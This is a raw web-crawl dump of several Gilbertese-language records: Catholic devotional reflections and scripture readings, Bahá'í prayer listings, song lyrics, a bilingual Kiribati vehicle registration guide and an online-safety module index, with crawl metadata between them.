bon te maiu inanon ana karatia te Atua.\nN tabetai ao ti taku ba iai te ingabong ma n aron are ti a tia n rereiaki iai irouia ara Tama ni Kiribati ao ae tataekinna naba te Tama Ikataere, ao ti riai n norira n taai nako inanon te tai ae NGKAI ba bon akea te ingabong ao ti riai ni kamateraoa ana baintangira te Atua nakoira ae E anganira are bon te tai ae NGKAI ao ni kakoaua ba ti kabongana ibukin neboana Ngaia ae te Atua. Ti na bane ni kamanena raoi te tai aio ao ti na katabuira n taai nako ibukin ana Tangira te Uea. N te aro aio ao ti na bon kakoroa raoi iai aron ana Babaire ni kamaiu te Atua ibukira are E a kaman kawenea mai moana are bon te maeka ma Ngaia i Karawa inanon te mimitong.\nTi na teirake ao ti na makuria Nanon te Uea aio ao riki ti na waaki ni buokiia tarira ma manera ni kaokia nakon te Uea inanon te rarannano. Ti na butia te Atua ba E na nanoangaira ao E na anganira ana karatia ni barua te raoiroi inanon maiura ao ni kan taua bain Natina ae Iesu are E aroria nakoira n taai nako ba E aonga n riki ba ara kaaben are E na katanira man taian kabuanibai nako ao mani karokoira raoi ni mwengara ni koaua irarikin Tamana ao Tamara ba ti na bane ni katonga iai kororaoin te kukurei.\n- Details\n- Written by Uriam Timiti\n-\nTe maiu ae tabu bon Nanon te Atua ae tangiria ibukira ni kabane ba ti aonga ni bane kamaeuaki. Te maiu inanon te raoiroi bon kaotan te wanawana iroura n tauraoi butiamaea Tia Mare ngkana E a roko. N rongorongoia aine ake niman ake a wanawana, are ti ongo n te bong aio, ao I taku ngai n au iango ba baan aia taura are a uouotia bon taekan te maiu ae tabu are a maiu inanona ao ngaia are e katauraoia ni butimaea te Tia Mare n rokona.\nTao a na bati ara iango n titiraki ba e na kanga n reke te maiu ae tabu iroura. I bon irou ao aikai tabeua buoka n iango aika a na kona ni karekea te maiu ae tabu iroura. Teuana bon te tauraoi n rinnako inanon te maiu ni kainnano n aiaron te maeka n te rereua ba ti ngaia te anga ae ti kona iai ni kainaomataki mani katabetaben te maiu aio ao mani kona naba ni kaitibo iai ni koaua ma te Uea. Ara makuri ni mitinare ae kororaoi e na bon kainnanoa te maiu inanon te aki kaubai ma te nanorinano ao te tauraoi ni kona ni kitana arora ni mwengaraoi. Ma ae kakanato riki bon te maiu n ongotaeka ao te tauraoi n nako ike E kairira nako iai te Uea, n aiaron Betero are e ongotakea iroun Iesu ni kabaka te karaun n aron are e tuangaki. Te aki kaubai, te ongoateka ao te nanorinano bon ngaia ae na anganira te kona n rooti ao n ringii maeuia tarira ma manera ake ti na karokoa irouia ana Tangira, ana Nanoanga ma makan ana Kamaiu te Uea.\nNgkana ti boni karaua ni iangoia ba tera te Maiu ae Tabu ao ti na kunea ba ngaia bon katotongan Iesu. A na bon akea ara kanganga ni karekea te aeka ni maiu aio ngkana ti nim n taai nako ma Iesu. Inanon rikira n ti teuana ma Iesu ao I taku ba a na bane n ti teuana nanora ma St Padre Pio n ana tataro teuana imain matena are e kangai,\"Ko raba te Atua ngkai I ataia ao I kakoaua ba Ko maeka inanou ao ngai Inanom.\"\n- Details\n- Written by Uriam Timiti\n-\nE kamimi aron wetean Batoromaio iroun Iesu ba ngke e tabe n roko ma Biribo ao e takarua Iesu nako Batoromaio ni kangai, \"Aio te Iteraera ni koaua ae akea te kewe irouna\". E a manga titiraki Batoromaio nakon Iesu ni kangai, \"Ko kanga ni kinaai?\". E kaeka Iesu, \"Imain ae e weteiko Biribo ao I noriko ian te kai te biiku\".\nE ringaki nanon Batoromaio n ana taeka Iesu aio ao e namakinna ae e a kaman kinaki imain rokona ao e a ota raoi nanona ba: \"Te Aomata aio (Iesu) E atai rongorongoni maiu ni kabane, ao E ata naba kawain te MAIU; I taku ba I kona n onimakinna!\"Ao imuina e taetae ni kaotioti nakon Iesu ni kangai; \"Rabi.., boni Ngkoe Natin te Atua; boni Ngkoe Uean Iteraera\"\nInanon te karaki aio ao iai te koaua ae I kona n ongo ao I kan tibaia ba E tai arora ni kabane te Atua ao bon akea te bai ae kona n raba ma Irouna. Te kauoua ba bon iai ana babaire te Uea ibukira ao n tabetai ti kainnanoia tarira ma manera ba a na buokira ni kairira nakon te Uea ba ti aonga n ota n ana babaire ao ana wewete te Atua ibukira are e a kaman tauraoi i main bungiakira.\nTariu ma maneu ti na butia te Atua ba E na kammakura Tamneina inanora ba ti na kona n ataia ae E nori ara makuri ni kabane ake ti karaoi te Atua ao E na bon rawawata man uruaki Nanona ngkana ti karaoa te bure.\nN aiaron Biribo are e kaira Batoromaio nakon Iesu ao ti bia riki naba ngaira ba taan kairiia tarira ma manera nakon te Uea ba a aonga ni kona ni kaotaaki iroun Iesu aron ana tangira ma wewete ao ana muioko te Atua ibukia inanon ana babaire ni kamaiu ae moan te kororaoi ibukira ni kabane.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=1415","date":"2021-01-21T18:18:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703527224.75\/warc\/CC-MAIN-20210121163356-20210121193356-00620.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1921,"character_repetition_ratio":0.051,"word_repetition_ratio":0.002,"special_characters_ratio":0.219,"stopwords_ratio":0.411,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Uriam Timiti\n-\nE kamimi aron wetean Batoromaio iroun Iesu ba ngke e tabe n roko ma Biribo ao e takarua Iesu nako Batoromaio ni kangai, \"Aio te Iteraera ni koaua ae akea te kewe irouna\". E a manga titiraki Batoromaio nakon Iesu ni kangai, \"Ko kanga ni kinaai?\". E kaeka Iesu, \"Imain ae e weteiko Biribo ao I noriko ian te kai te biiku\".\nE ringaki nanon Batoromaio n ana taeka Iesu aio ao e namakinna ae e a kaman kinaki imain rokona ao e a ota raoi nanona ba: \"Te Aomata aio (Iesu) E atai rongorongoni maiu ni kabane, ao E ata naba kawain te MAIU; I taku ba I kona n onimakinna!\"Ao imuina e taetae ni kaotioti nakon Iesu ni kangai; \"Rabi.., boni Ngkoe Natin te Atua; boni Ngkoe Uean Iteraera\"\nInanon te karaki aio ao iai te koaua ae I kona n ongo ao I kan tibaia ba E tai arora ni kabane te Atua ao bon akea te bai ae kona n raba ma Irouna. Te kauoua ba bon iai ana babaire te Uea ibukira ao n tabetai ti kainnanoia tarira ma manera ba a na buokira ni kairira nakon te Uea ba ti aonga n ota n ana babaire ao ana wewete te Atua ibukira are e a kaman tauraoi i main bungiakira.\nTariu ma maneu ti na butia te Atua ba E na kammakura Tamneina inanora ba ti na kona n ataia ae E nori ara makuri ni kabane ake ti karaoi te Atua ao E na bon rawawata man uruaki Nanona ngkana ti karaoa te bure.\nN aiaron Biribo are e kaira Batoromaio nakon Iesu ao ti bia riki naba ngaira ba taan kairiia tarira ma manera nakon te Uea ba a aonga ni kona ni kaotaaki iroun Iesu aron ana tangira ma wewete ao ana muioko te Atua ibukia inanon ana babaire ni kamaiu ae moan te kororaoi ibukira ni kabane.\n- Details\n- Written by Uriam Timiti\n-\nTi ongora n te Ewangkerio n te bong aei aron Iesu n taetae ni kamaraia nakoia baritaio ibukin aroia aika bati ake a aki botau ma Nanon te Uea. Teuana aroia ae ti tuangaki ba aroia ni motikii taekaia aomata man aron tarakiia mai tinaniku ao tiaki man taran te nano.\nN tabetai ao ti kabanei ara tai ao ara mane ni katamaroa aron tarara mai i itinaniku ao ti aki mannanoa aron nanora ma tamneira. Te bai ae kakawaki ba a na riai n ti teuana ara makuri ma nanora. Ti na karaoi bai ni kabane tiaki ibukin te kan atongaki raoi, ke ibukin karekean arora ke tera riki ma ti na karaoi ara makuri ibukin kaotan ana Tangira te Uea are e maiu inanora. Ngkana ti karaoa aio ao ti na kakoaua n tai nako ae ti waaki inanon te eti ao te koaua are bon mairoun te Atua.\nN aiaron ae ti nakon te taokita ngkana a aoraki rabatara, ti riai naba n nanakon taokitan te tamnei ba e na tuoa tamneira ao e na anganira bai n aoraki aika a na kamarurunga tamneira. N aiaron ae ti kainnanoa te tebotebo ni katoa bong ao ti riai naba ni kaakawara te Takaramentu ni Kaiooki ao ni Kamarurung ae te Benetenia ba ao a aonga n itiaki nanora ma tamneira ao ni kakoaua n taai nako ba ti karaoa Nanon te Atua inanon maeura. Ti na butia te Uea ba E na anganira ana karatia ba ti na aki kabanei ara tai ni katamaroai tinanikura ba muina ao ti na reke naba n ana taeka ni kamaraia Iesu nakoia baritaio are ti ongo n te bong aio.\n- Details\n- Written by Fulitua Bauro Taraora\n-\nMan te boki ae Rinanon ana Taratara Iesu ibukin Ana Toa Tinara ae Uotakirakeana n te bong aio....\nNanon Iesu ibukira, nakon Tinana\nNgke e a toki ara tataro, ao e taku Tinau Maria, \"N nang katauraoa te amarake ba kam a bon bae n rangi ni baki.\" E kibarake man teirake Iakobo ao e taetae ma arona ae kaota te nano ni kairake, \"Tinau, tinang katauraoa ngkai marikem. E a bon rangi n riao ae ko a tia ni kakaraoia ibukira.\"\nE mananga Tinau nakon Iakobo man katoka baina iaon angana n rabatia ao e taku, \"Natiu, ko aki toki n tatauraoi n tainako n ibuobuoki. Teteinimane ngkoe ae ko rangi n raoiroi.\"\nE bon tara n rangi ni kukurei Iakobo ao e taku, \"Ao tera ae N na karaoia?\"\n\"Ngkana ko kona n nako n te maniba ni karekea ara ran teutana ao e na rangi n ibuobuoki.\" e kaeka Tinau. E anaa te tiaeke (jug) Iakobo ao e otinako ni katiotioa ao e taku, \"I aki maan.\"\n- Details\n- Written by Uriam Timiti\n-\nTairu ma maneu E mate Iesu iaon te Kaibangaki ba E na kaboira n rarana ae moan te tabu ao n anganira te kona n riki ba natin te Atua ao te botanaomata ae rineaki I rouna. E mate Iesu ibukia aomata ni kabane n akea temanna ae katukaki.\nMa e na tabanin te kamaiuaki iroura ngkana ti butimaea te Tamnei ae Raoiroi ao n irira nanon te Atua are E tangiria aomata ni kabane ba a na roko i Karawa i rarikina. Kainaomatan te Tamnei ae Raoiroi inanon maiura ao kairakia aomata nakon te Uea boni ngaia raoi angan reken te kamaiuaki iroura. Kairakia aomata nakon te bure boni karekean te rekenikai ae rawawata iroura are bon te mate ae aki totoki i moone.\nTi bon riai ngkanne ni butia te Atua ba E na katabuira n tai nako n Rarana ae moan te Tabu ba ti na kona ni buokiia tarira ma manera ao ni kaokiia nakon te Uea inanon te rairannano. N te aro aio ao ti na katotonga iai Iesu are E anga maiuna ibukin kabaran ara bure ba ti aonga ni katonga karoraoin te mimitong i Karawa. Tariu ma maneu ti na tuoi aron maiura ao ni butia te Tamnei ae Raoiro ba E na kaotaira n arora ake aki botau ma Nanona. Ti na butia naba ana karatia ba ti na riki ba bannan ao katotongan raoi Iesu n arora ni kabane n te aro ba ti aonga n riki ba kanga taian bikan ake a na kaota te kawai nakoia te koraki ake a bua ma n raroanako ma ana Tangira ao ana Nanoanga Atiniban Iesu ae moan te Tabu.\n- Details\n- Written by Administrator\n-\nTi reitaki ma te Ekaretia ae banin n neboa te Atua ngkai E a tia ni kaota ana kantaninga ae moan te kororaoi ibukira ba ti na kona ni katotonga tinara Nei Maria are e uotakirake nako Karawa mani baunaki n te mimitong. Ara tangira ao ara reitaki ni koaua ma Nei Maria boni ngaia ana kawai te Ekaretia are ti a tia ni kaikawaki ao n reiakinaki iai ibukin kamaeuara ao karekean te maiu ni mimitong.\nTera aron nnen Nei Maria inanora ao n ara utu? Iai ara waaki n ara utu ke ni mwengara aika a kakoaua aron maiun ara tangira ma Nei Maria? Ti na karekea ara motinnano ae bou n te toa aio ba ti na kaboui ao ni kamarurung ara waaki n reitaki ma tinara Nei Maria ni kakaonimaki ni karaoa ara korona ni katoa bong, ni ueuena tamnein Nei Maria n ara auti ke n tataro ni bubuti nakoina ba e na kawakina ara utu ao ni buobuokira ni kainnaora nako. Ma ae kakawaki riki ba ti na ira nanon Nei Maria ni kan karikira ba bannan ao katotongan raoi Natina ae Iesu ba ti aonga ni bane ni kamaiuaki.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=1545","date":"2021-12-04T14:31:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362992.98\/warc\/CC-MAIN-20211204124328-20211204154328-00394.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1266,"character_repetition_ratio":0.05,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.395,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tataro Ni Bahá'í\nKataitai ao Kangaanga\nAm bwai te mimitong; Atuau! Ma ngke akea karawawata ake a uotaki ni Kawaim, ao e na kangaa iai ni kinaaki ake a Tangiraki ni koaua; ao ngke tao tiaki man taian kataitai ake a tabekaki i…\nBahá'u'lláh\n•\n262 words\nTi Te Atua ke iai ae E konaa ni kanakoi kangaanga? Atongnga: E na neboaki Te Atua. Bon Te Atua Ngaia, ao aomata ni kabane bon Ana toro ake a bane n ira nanon Ana taeka.\nTe Báb\n•\n36 words\nKo ataia ni koaua, Ngkoe Atuau, bwa a bon tia ni bwakarai taian kangaanga man itera nako, ao bon akea ae e kona ni kamaunai ke ni bitii ma bon ti Ngkoe. I ataia ni koaua, bwa ni koauan…\nTe Báb\n•\n267 words\nBahá'í Prayers\nGet the app\nBahá'í Prayers\nGet the app","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.bahaiprayers.io\/category?id=222&l=gil","date":"2022-05-19T22:50:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662530066.45\/warc\/CC-MAIN-20220519204127-20220519234127-00487.warc.gz","language":"gil","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 1.000009298324585}","num_words":136,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.36,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Taura ni maiu\n\\Kukurein nanora ngkai ti a manga kaitibo ma raora ake kaain Bairiki rimoa.\nTi rang kaure wiira ngkai man atonga ae e kangai\n\"Bairiki rimoa, kam na mauri oh\".\/\nCho.\nTi na uaia ni Kukurei (Bass - ma ngkami)\nBwa e a roko te bong aei (Bass - Kukurei)\nTe bong are e kauki matara iai\nBwa ti na taraa te taura ni maiu\n\\Rokon te taura ni maiu,\nE uotaki nakoira n te ka-18 n Eberi n tenga ruabubua uabwi ma uoua,\nTe ririki are e roko iai. \/\nChorus\n\\Taua te taura ni maiu inanon angataimi. Tabekia nakoia raomi nako.\nKotea raoi te kawai te kawai ni koaua, are e kaeti nakon te ota ni maiu.\/\nChorus","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.kirilyrics.com\/single-post\/taura-ni-maiu","date":"2022-09-29T14:57:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335355.2\/warc\/CC-MAIN-20220929131813-20220929161813-00166.warc.gz","language":"gil","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000081062316895}","num_words":119,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.387,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"How to register a vehicle\/Karaoan te anga bwai\nIf you want to register a vehicle for the first time you must note the following: -\n- vehicle is registered for the first time\n(Anga bwai n te moan tai) : -\n- vehicle must not be more than 10 years as per the original compliance plate\n(e na aki raka iaon 10 ririkiina ni kaineti ma kakaoauana anne e nim ma rabwatana)\n- complete from IV (kanoa Booma IV)\n- complete form II (Kanoa Booma II) – valid for 14 days only\n- prescribed fee (kabwaka mwane)\n- Renewing an expired registration (kaboua anga bwai): -\n- complete from IV (kanoa Booma IV)\n- complete form II (kanoa Booma II)\n- prescribed fee (kabwaka mwane)\nBring your vehicle for inspection make sure you have a permit to drive (Uota am kaa bwa e na tuoaki ma uringa bwa e na riai n reke am kariaia imwain kabutakiana)\nRegistration\/Anga bwai\nA vehicle registration must be valid in order to be used on the public highway. It is an offence to drive a vehicle on a public highway an unregistered or with an expired registration. Your vehicle will can be seized, and you will be penalised. (Bao ni mamananga inanon te kawai ana bon riai ni iai aia anga bwai ae e tuai bane taina. Bon te bure iaan te Tua kabutan te bao ni mwamwananga ae e tuai anga bwaiaki ke e a bane tain ana anga bwai. E na kona n tauaki te bao ni mamananga anne ao te tia kabutia e na katuaeakaki).\nRenewing a vehicle registration that expired more than 2 - 3 years expired.\/kaboauan te angabwai ae riaon 2 nakon 3 ririkina n bane taina.\nFor renewing a vehicle registration license that expired more than 2-3 years, will pay fine fee plus pay the compensation for the previous date\/years where a license expired before renewing to a new valid vehicle registration license.(kabouan te angabwai ae riaon 2 nakon 3 ririkina n bane taina ena bon riai n kabwaka tuuana, ao n manga kaitiaka ana tarau man te ririki are e bane iai taina imwain ae manga tibwa kabwaka boon kabouana).\nAnother, vehicle Inspection law\/ Tabeua kainibaire n irekereke ma kabwatan te bao n mwamwananga.\nA vehicle to be inspected for a renewal of license or new vehicle license, somehow there's a inspection called structural inspection, whether the vehicle pass the inspection procedure where its headlight, left & Right sign, Reverse light, Brake Lights, High Beam are in good state but the vehicle structure condition is very poor, where the Authorised Vehicle Inspector suspend your vehicle after inspection and report that the current vehicle will not to be seen driven on public highway penalty will served if not comply. (Te bao n mwamwananga ae na karaoa te tutuo ibukin kabwatakina ibukin ana angabwai, e kona n anganaki te tutuo ae aranaki bwa man tarakin te bao n mwamwananga ao ea bon aki naba kabwataki, engae ngke e raoiroi taurana, ana tiainaa n bwake, tauran ana brake, tauran ana buti n baaki etc, bwa taaran rabwatana ea bon karautaeka bwa ea bon mwangaingai n tara n uruaki, e ioio ngkana e buti, ea bon rang bubu man bareka ana baibu(Exhaust) ao mai ikan are te tia karaoa te tutuo ea bon aki naba kabwata baom n mwamwananga ao n ribotina bwa enaki manga noraki te bao n mwamwananga anne n buti inanon ana kawai te botanaomata.\nTen Year Prohibition\/E rebwe n toki 10\nVehicles that are more than ten years as per the original compliance plate must not be registered for the first time. (Bao ni mwamwananga aika a riaon 10 ririkiia ni kaineti ma kakoauan rongorongon karaoaia n nim ma te bao ni mwamwanaga ao a tuai n anga bwaiaki, e na bon aki butimwaeaki ke ni karaoaki te anga bwai nakoiai).\nTransfer of ownership\/Karaian te bwaibwai\nYou can easily transfer your vehicle to another person. Transfer may be through gift, sales or through other means but you will need to do the following (Ko kona n karaia am bao ni mwamwananga nakon temanna. Te karaai anne e kona n reke rinanon te bwai n tangira, te boobwai, ke anga riki tabeua. Ma ko riai ni karaoi bwai aikai): -\n- Complete Form II (Kanoan Booma II).\n- Pay the prescribed fee (Bwaka mwane).","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/landtransport.ki\/registration-angabai1.html","date":"2022-12-10T04:46:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711712.26\/warc\/CC-MAIN-20221210042021-20221210072021-00040.warc.gz","language":"gil","language_score":0.9975016117,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 0.9975016117095947}","num_words":695,"character_repetition_ratio":0.065,"word_repetition_ratio":0.009,"special_characters_ratio":0.213,"stopwords_ratio":0.213,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Learning Module\nKaungaan Te Online Acceptance Ke Te Reitaki Ae Tamaroa Nte Online\nNikabane aomata iai inaomataia bwa a na mwengaraoi ao n karineaki n te online ao n te real life naba.\nLearning Module\nTe Online Safety Ibukia Aomata Ake Iai Toaraan Rabwataia\nTe discrimination, bullying ao te abuse aaki butimwaeaki and n riai n katokaki – n te online ao te real life.\nLearning Module\nTe Online Safety Ibukia Aine Ma Ataeinaine\nIai inaomataia ataeinaine, ataeinimwane, aine ma mwane ibukin rikirakeia, kamanoaia ao karineaia ma ongoraean aia iango.\nLearning Module\nTe Guide Ibukia Kaaro\nAikai bwaai tabeua aika ko kona n karaoi ibukin ana safety am family.\nLearning Module\nAm Digital Wellbeing(Mwengaraoim n Te Aonaaba n Digital)\nA mwaiti te roronrikirake ae a kona n namakina ae aaki konai uotaia ke n taonaki ma angin bwaai ae a rinanona n te online ke n te real life.\nLearning Module\nTe Sexual Abuse, Te Exploitation ao Te Harrassment\nTe sexual abuse (mwakuri n tangako n akea am kariaia), te exploitation (kammwakuraki n akea karinean inaomatam) ao te harrassment (te bwainikirinaki), a bane n kona n reke n te online ao n te real life naba, nakon temanna ma temanna.\nLearning Module\nAron Butimwaean Bwaai Aika Kakamaku ke Aika Aki Raoiroi\nUringnga n taratara raoi bwa ko na aki nako n websites are ko na mwane n click.\nLearning Module\nTe Online Bullying\nTe bullying bon te waki n iowawa ke n kakamaku nakon temanna. E kona n riki n aki akaka ao n mwaiti aekakina, n ron kabutanakoan kabwararia (rumors), katokaan tamnei aika aki raraoi, ke kakamakakin temanna.\nLearning Module\nKamanoam n te Online\nE ngae ngke e kaunga te reirei, te reitaki ao te ibuoka ni bwai iaon te online, iai naba kangabuaka ae ko kona n aitara a ngaai.\nLearning Module\nAron te Reitaki ae Tamaroa n te Online\nKarineaia aomata n te aonaaba n digital e kona n rangin kanganga nakon are n bon te reitaki raoi nte aonaaba.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/wethinkdigital.fb.com\/pc\/en-us\/pccountry\/kiribati-kiribati\/","date":"2022-11-29T08:44:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710690.85\/warc\/CC-MAIN-20221129064123-20221129094123-00273.warc.gz","language":"gil","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000096559524536}","num_words":332,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.194,"stopwords_ratio":0.373,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Uriam Timiti\n-\nN te bong aio ao ti auringai ba te Kristo E kan anganira te maiu ni kaoaua iananon te te inaomata. Are nanona bat i riai na ki karaoi baia aika a ira tuan aonnba ma bai nako aika ti karaoi ana riai ni boto kan akaraoan te raoiroi ae boraoi ma Nanon te Atua. Ti riai n aki korotobibiaki ibukin te tua ba iroun te Atua ao ti aki makamiuaki ibukina bat i krotobibiaki ke tiaki ma ibuklin bat i kakaraoa ae nanon te Atua.\nEng ti aki kamiuaki ibukin iran te tua ma ti kamaiuaki ibukina bat i maiuakina ae botau ma Nanaon te Atua.\nN te ewanghkerio ao ti nora aroia baritaio ni kakanikoa Iesu ngke e aki E aki e urua tuan te tebokaniwae imaian te amarake n ai aron ai tua Iutia. E kaekaia Iesu ni kangai. E taju Iesus nakoia baritaio ba e aki kakakwaki ba e na tararaoi te mangko mai akuna ao e kakawaki ri ki ba e na itiaki te mangko maiananona . Are nanona ngkanne b aba ngkana ti karaoi makuri n tangira ma te nano n tangira ao n akoi ao ngkanne ao ngkanne e na rota noraki iai itiakin arora I matai aoamata. Are nanona ngkannne ba ngkana ti kan riki n raoiroi atara ao tin a kaitiaka moa nanora. Ba e kakawaki riki ba e na raoiroi nanaora nakona ae na itiaki moa tinasnikun rabatara.te inaomata Holy Gospel of Jesus Christ according to Saint Luke 11,37-41.\n- Details\n- Written by Uriam Timiti\n-\nTibatiba: Te maiu ae kororaoi inanon te Inaomata,\nBon ana kantaninga te Atua ibukira ni kabane ba ti na bungiaki inanaon the te inaomata are te bungiaki inanon te Berita ma ana kantaninga te Atua ae maka mani mimitong are Ngaia ae karika Karawa ma aonnaba. Bon ana kantaninga ibukira te Atua bat i bungiaki ao ni maiu inanon oanaomata inanon te Uea ao tikai te tautoronaki inanon te bure\nE kaotaki nakoira ikai ba bai ni kabane aika karikaki a na riai bane n rinanon ana kantaninga te Atua ba akea te bai ae riki ni manenanti ma a bane n riki bai nako inanon ana kantaninga te Atua.\nAo tera raoi ana kantaninga te Atua ngke karika te aomata? Eng bon ti teuana ana kantaninga te Atua ngke E karika te aomata ba E na riki ba katotongan te Atua ae na riki ba rona ni maeka I Karawa n aki totoki.\nN te moani wareboki n te bong aio ao ti ongora rongorongon te burabeti ae Iona ngke e kanakoaki iorun te Aroun te Atua ba e na rairi nanoia kain Ninive. Ibukin makuna ao rawana ni kawara Niniwe ao e roko te buaka ae korakora inanon marawa ao e tuatua te burabeti ae Iona ba e na karenakoaki nako inanon marawa ba e aonga n reke te raoi. Ma ngke karenakoaki Iona ao e kabautaki naba iroun te ika ae moan te bubura ao e tiku inanon biroton te ika inanon teniua te bong ao imuina ao e a manga mumutaki Iona iroun te ika iaon te bike ao iana e mananga Iona nako Ninive n taekina te rairannano nakoia kain Ninive ao aia uea. Ibukin aia ongotaeka ao aia rairannano kain Ninive ma aia uea ao a bane ni kamaiuaki ao n aki kamaunanakoaki.\nTariu ao maneu ni kaekan aia titiraki aomata ake a kainanoi taian kanikina ba e aonga n reke te kamaiuaki irouia ao E kaekaia Iesu ni kangai; \"Ba bon te roro ae kam buakaka ngkami. Bon akea te kanikina ae kam na anganaki ba ti te kanikina are iruon Iona. Te koaua ba n tain te motikitaeka ao a na bane n teirake kain Ninive n totoko ibukina ba a tia ngaia ni rairi nanoia man ana kabarabaraba Iona nakoia ba a na rairi nanoia. Are nanona ba bon iai riki te oini bai ae moan te kakawaki riki nakon rongrongon Iona ba bon taekan Iesu are boni Ngaia te an Rikitemanna te Atua are na uota Maiu ni Koaua nakon aonnaba.\n- Details\n- Written by Uriam Timiti\n-\nWiki 12 Moanibong\nWarekan te kauoua ni Boki n Uea. 17:5-8, 13-15, 18\nE taua te aba ni kabanea uean Aturia, ao e nako ni buakana Tamaria i nanon tenua te ririki. N ana karuaiua n ririki Otea, ao e taua Tamaria uean Aturia ao e kairia Iteraera nako Aturia ba taenikai. E kamaekaia i Ara i rarikin Abora ae karangani Kotan ao n aia kawa i Miria. E riki te aro anne kioina ngke e bure Iteraera nakon te Uea ae Atuaia, are kairia rake man te aba ae Aikubita, mai ani makani Barao are uean Aikubita. A taromauria atua tabeman ao a irarang n aia katei botanaomata ake E kakioia nako te Uea mai maaia.\nE bon tia n taetae te Uea nakoni Iteraera ao nakoni Iuta, irouia nako burabeti ma tani matairiki, ni kangai: \"Kaki aromi ae buakaka ao kawakin au moti ma au baire n ai aron te Tua ni kabanea are I kateia nakoia ami bakatibu ao are I angania irouia au tabonibai ake burabeti.\"\nMa a aki ira nanona, ao a kamatoai rii nanoia nakoia ai bakatibu, ake a aki kakoaua te Uea ae Atuaia. A kaki ana tua ao te berita are E karaoia ma aia bakatibu ao ana moti nakoia. Ai ngaia are e koro unin te Uea nakoni Iteraera, ao E kakioa nako mai matana. Akea nikirana ba ti ana utu Iuta.\nTe Taramo: 60: 3-5, 12-13\nKaekana: Te Uea, buokira ni baim ae maka.\nTe Atua, Ko kaakira, ko oroira, Ko un iroura. Ko na okirira. K\nKo karurua aon te aba, ko bwenauaia; Karaoa tabwenana, ba e a mae nako.\nKo karawawata am botanaomata, Ko kamooira n te uain ae ti maraa iai. K\nTao Ko kaki taekara, te Uea, N aki manga raona ara tanga?\nBuokira n rawawatara, Ba akea manen ana ibuobuoki te aomata. K\nAlleluia, alleluia.\nE raoiakina aonaba te Atua i nanoni Kristo, ao E anganira taekan te raoi. Alleluia\nWarekan ana Euangkerio Mataio. 7:1-5\nE kangai Iesu nakoia ana reirei: \"Tai motiki taekaia aomata, ao a na aki motikaki taekami. Te moti ae kam motiki taeka iai, ao a na motikaki naba iai taekami. E aera ngkai ko tara te aneke ae i nanoni matan tarim? Ao ko aki nora te kinnara ae i nanoni matam! Ko na kanga n taku nakon tarim: 'Taningaai, ba N na buta te aneke ane i nanoni matam,' ngkai iai te kinnara I nanoni matam? Te tia kewea te aba, buta moa te kai ane i nanoni matam, ao ko a matairiki ngkanne ni buta te aneke ae i nanoni matan tarim.\"\nTibatiba: Kaki aromi ae buakaka ao kawakin au moti ma au baire n ai aron te Tua ni kabanea are I kateia\n- Details\n- Written by Uriam Timiti\n-\nWiki 11 Katenibong\nWarekan te kauoua ni Boki n Uea. 22:8-13; 23:1-3\nE kangai te mataniwi ni berebitero ae Irikia nakon te tia koroboki ae Taban: \"I kunea Bokin te Tua inanon ana Temboro te Uea.\" Ao e angan Taban te boki ba e na warekia. E nakon te uea te tia koroboki ae Taban, ao e kaongoa ni kangai: \"A kaburoa te tirewa are n te Temboro am tabonibai, ao a angania tani makuri aika muiokoaki n ana Temboro te Uea.\" Ao e kaongoraea te uea te tia koroboki ae Taban ni kangai: \"E anganai te boki te berebitero ae Irikia.\" Ao e warekia Taban i matan te uea. Ngke e ongo kanoani Bokin te Tua, ao e raeuai kunnikaina te uea. Ao e tuatua nakon te berebitero ae Irikia, ao nakon Aikam ae natin Taban ao Akabo ae natini Mikaia ao Taban ae te tia koroboki, ao Ataia ae ana tabonibai te uea, ao e kangai nakoia: \"Nako titirakina te Uea ibukiu ao i bukia te koraki, n taekani kanoan te boki ae a tiba kuneaki. E boni korakora unin te 